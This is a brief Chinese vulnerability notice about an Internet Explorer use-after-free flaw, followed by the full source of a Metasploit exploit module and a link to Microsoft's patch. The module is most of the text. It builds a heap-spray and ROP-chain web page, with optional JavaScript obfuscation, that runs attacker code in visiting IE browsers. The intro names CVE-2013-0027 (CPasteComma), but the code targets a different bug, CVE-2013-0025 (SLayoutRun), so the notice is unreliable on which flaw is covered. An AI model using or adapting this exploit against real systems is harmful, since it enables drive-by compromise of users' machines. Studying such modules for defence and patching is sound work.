Microsoft Internet Explorer处理CPasteComma存在一个释放后使用错误,允许构建恶意WEB页,诱使用户解析,可以应用程序上下文执行任意代码。CVE编号CVE-2013-0027,影响版本如下:
Microsoft Internet Explorer 10
Microsoft Internet Explorer 9
Microsoft Internet Explorer 8
Microsoft Internet Explorer 7
Microsoft Internet Explorer 6
在Metasploit已经发布相应的利用脚本,如下:
- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # Framework web site for more information on licensing and terms of use.
- # http://metasploit.com/framework/
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = NormalRanking
- include Msf::Exploit::Remote::HttpServer::HTML
- include Msf::Exploit::RopDb
- def initialize(info={})
- super(update_info(info,
- 'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",
- 'Description' => %q{
- This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
- where a CParaElement node is released but a reference is still kept
- in CDoc. This memory is reused when a CDoc relayout is performed.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
- ],
- 'References' =>
- [
- [ 'CVE', '2013-0025' ],
- [ 'MSB', 'MS13-009' ],
- [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
- ],
- 'Payload' =>
- {
- 'BadChars' => "\x00",
- 'Space' => 920,
- 'DisableNops' => true,
- 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
- },
- 'DefaultOptions' =>
- {
- 'InitialAutoRunScript' => 'migrate -f'
- },
- 'Platform' => 'win',
- 'Targets' =>
- [
- [ 'Automatic', {} ],
- [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
- ],
- 'Privileged' => false,
- 'DisclosureDate' => "Feb 13 2013",
- 'DefaultTarget' => 0))
- register_options(
- [
- OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
- ], self.class)
- end
- def get_target(agent)
- #If the user is already specified by the user, we'll just use that
- return target if target.name != 'Automatic'
- nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
- ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
- ie_name = "IE #{ie}"
- case nt
- when '5.1'
- os_name = 'Windows XP SP3'
- end
- targets.each do |t|
- if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
- print_status("Target selected as: #{t.name}")
- return t
- end
- end
- return nil
- end
- def heap_spray(my_target, p)
- js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
- js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
- js = %Q|
- var heap_obj = new heapLib.ie(0x20000);
- var code = unescape("#{js_code}");
- var nops = unescape("#{js_nops}");
- while (nops.length < 0x80000) nops += nops;
- var offset = nops.substring(0, #{my_target['Offset']});
- var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
- while (shellcode.length < 0x40000) shellcode += shellcode;
- var block = shellcode.substring(0, (0x80000-6)/2);
- heap_obj.gc();
- for (var i=1; i < 0x300; i++) {
- heap_obj.alloc(block);
- }
- var overflow = nops.substring(0, 10);
- |
- js = heaplib(js, {:noobfu => true})
- if datastore['OBFUSCATE']
- js = ::Rex::Exploitation::JSObfu.new(js)
- js.obfuscate
- end
- return js
- end
- def get_payload(t, cli)
- code = payload.encoded
- # No rop. Just return the payload.
- return code if t['Rop'].nil?
- # ROP chain generated by mona.py - See corelan.be
- case t['Rop']
- when :msvcrt
- print_status("Using msvcrt ROP")
- rop_nops = [0x77c39f92].pack("V") * 11 # RETN
- rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
- rop_payload << rop_nops
- rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
- rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
- rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
- rop_payload << [0x77c39f92].pack("V") # RETN
- rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
- rop_payload << code
- end
- return rop_payload
- end
- def get_exploit(my_target, cli)
- p = get_payload(my_target, cli)
- js = heap_spray(my_target, p)
- html = %Q|
- <!doctype html>
- <html>
- <head>
- <script>
- #{js}
- </script>
- <script>
- var data;
- var objArray = new Array(1150);
- setTimeout(function(){
- document.body.style.whiteSpace = "pre-line";
- CollectGarbage();
- for (var i=0;i<1150;i++){
- objArray[i] = document.createElement('div');
- objArray[i].className = data += unescape("%u0c0c%u0c0c");
- }
- setTimeout(function(){document.body.innerHTML = "boo"}, 100)
- }, 100)
- </script>
- </head>
- <body>
- <p> </p>
- </body>
- </html>
- |
- return html
- end
- def on_request_uri(cli, request)
- agent = request.headers['User-Agent']
- uri = request.uri
- print_status("Requesting: #{uri}")
- my_target = get_target(agent)
- # Avoid the attack if no suitable target found
- if my_target.nil?
- print_error("Browser not supported, sending 404: #{agent}")
- send_not_found(cli)
- return
- end
- html = get_exploit(my_target, cli)
- html = html.gsub(/^\t\t/, '')
- print_status "Sending HTML..."
- send_response(cli, html, {'Content-Type'=>'text/html'})
- end
- end
微软安全补丁:https://technet.microsoft.com/en-us/security/bulletin/ms13-009